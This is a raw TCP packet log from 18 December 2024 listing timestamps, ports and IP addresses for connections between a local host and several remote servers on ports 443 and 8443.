Dec 18, 2024 21:11:07.391278982 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.391527891 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.399550915 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.399678946 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.399681091 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.407943964 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.407993078 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.408055067 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.416480064 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.416495085 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.416627884 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.424923897 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.424938917 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.424987078 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.433192968 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.433255911 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.433320999 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.473464966 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.473514080 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.473545074 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.477648020 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.478713989 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.526935101 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.527368069 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.527431965 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.528117895 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:07.528157949 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:07.528228998 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:07.528429985 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:07.528440952 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:07.530021906 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.530035973 CET	8443	49739	172.67.150.25	192.168.2.6
Dec 18, 2024 21:11:07.530105114 CET	49739	8443	192.168.2.6	172.67.150.25
Dec 18, 2024 21:11:07.679300070 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:07.679366112 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:07.679450035 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:07.679697037 CET	49755	443	192.168.2.6	152.199.21.175
Dec 18, 2024 21:11:07.679714918 CET	443	49755	152.199.21.175	192.168.2.6
Dec 18, 2024 21:11:08.006611109 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:08.006664038 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:08.006942034 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:08.007183075 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:08.007200956 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:08.416366100 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.416399002 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.416435957 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.416491985 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.416610956 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.416671991 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.417762995 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.417851925 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.420449972 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.420466900 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.420829058 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.420891047 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.421430111 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.422491074 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.422502041 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.422688007 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.422697067 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.422771931 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.422786951 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.422846079 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.422961950 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.423126936 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.423171043 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.423257113 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.424405098 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.424417973 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.424596071 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.424602985 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.424736977 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.424916029 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.463332891 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.463349104 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.520520926 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.520850897 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.520859957 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.521902084 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.521965027 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.523874998 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.523941994 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.524092913 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.565428972 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.565444946 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.609843016 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.891765118 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.891788960 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.891805887 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.891868114 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.891869068 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.891889095 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.891984940 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.899710894 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.899727106 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.899768114 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.899837971 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.899847984 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.899895906 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.901134014 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.901159048 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.901253939 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.901262999 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.901271105 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.901328087 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.902870893 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.902899981 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.902915955 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.902981043 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.902981043 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.902995110 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:08.903285980 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:08.970827103 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.971005917 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.971051931 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.971069098 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.979283094 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.979398966 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.979427099 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.979434967 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.979585886 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.987623930 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.998008013 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:08.998071909 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:08.998079062 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.006443024 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.006491899 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.006495953 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.049782991 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.072889090 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.072921038 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.072999001 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.072999001 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.073016882 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.073142052 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.084225893 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.084254980 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.084342003 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.084348917 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.084391117 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.084422112 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.090022087 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.090061903 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.090106010 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.090142965 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.090152979 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.090184927 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.090868950 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.094248056 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.094278097 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.094347954 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.094357967 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.094381094 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.094410896 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.121659040 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.121690035 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.121845007 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.121857882 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.121997118 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.139472008 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.139502048 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.139589071 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.139589071 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.139605999 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.139806032 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.143007994 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.143033981 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.143127918 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.143138885 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.143193960 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.143537045 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.162754059 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.168267965 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.168320894 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.168328047 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.171294928 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.171329975 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.171370983 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.171384096 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.171418905 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.171438932 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.175905943 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.175954103 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.175991058 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.175997972 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.176067114 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.183588028 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.191416979 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.191468000 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.191487074 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.199248075 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.199299097 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.199304104 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.206939936 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.207025051 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.207035065 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.207067966 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.207108974 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.223659992 CET	49752	443	192.168.2.6	104.17.25.14
Dec 18, 2024 21:11:09.223679066 CET	443	49752	104.17.25.14	192.168.2.6
Dec 18, 2024 21:11:09.242839098 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.242873907 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.243005991 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.243005991 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.243033886 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.243335009 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259161949 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259193897 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259267092 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259295940 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259334087 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259421110 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259433985 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259459972 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259529114 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259546041 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.259648085 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.259648085 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.267203093 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.267214060 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.267240047 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.267335892 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.267353058 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.267488956 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.267641068 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.267667055 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.268728971 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.268785954 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.270818949 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.270889997 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.271292925 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.271306038 CET	443	49756	108.178.43.142	192.168.2.6
Dec 18, 2024 21:11:09.271363974 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.271389961 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.271507025 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.271507025 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.271533012 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.272185087 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.290627003 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.290891886 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.290918112 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.291999102 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.292072058 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.293061018 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.293154001 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.293293953 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.293303013 CET	443	49754	192.229.133.221	192.168.2.6
Dec 18, 2024 21:11:09.294042110 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294053078 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294068098 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294085979 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294151068 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.294152021 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.294178963 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294193983 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.294220924 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.294220924 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.295331001 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.298435926 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.298470020 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.298532009 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.298561096 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.298640013 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.302371025 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.302395105 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.302442074 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.302452087 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.302481890 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.302515984 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.312704086 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.312760115 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.312928915 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.313436031 CET	49763	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.313455105 CET	443	49763	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.314116955 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.314146996 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.314202070 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.314220905 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.314255953 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.314255953 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.315411091 CET	49756	443	192.168.2.6	108.178.43.142
Dec 18, 2024 21:11:09.320905924 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.320928097 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.321037054 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.321064949 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.321109056 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.321109056 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.322350979 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.322400093 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.322451115 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.322459936 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.322496891 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.322515965 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.326555014 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.326581001 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.326627970 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.326637030 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.326673985 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.326711893 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.342477083 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.342506886 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.342787027 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.342798948 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.342931986 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.344155073 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.344188929 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.344238043 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.344249964 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.344293118 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.344345093 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.346657038 CET	49754	443	192.168.2.6	192.229.133.221
Dec 18, 2024 21:11:09.348257065 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.348283052 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.348335028 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.348342896 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.348392963 CET	49748	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.431488991 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.431548119 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.431576014 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.431602001 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.431632042 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.431653023 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.442451954 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.442517996 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.442578077 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.442608118 CET	443	49751	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.442636967 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.442657948 CET	49751	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.445949078 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.445979118 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.446063042 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.446073055 CET	443	49749	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.446120024 CET	49749	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.447166920 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.447212934 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.447269917 CET	443	49748	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.447272062 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.447299004 CET	443	49750	150.171.27.10	192.168.2.6
Dec 18, 2024 21:11:09.447328091 CET	49750	443	192.168.2.6	150.171.27.10
Dec 18, 2024 21:11:09.447349072 CET	49748	443	192.168.2.6	150.171.27.10
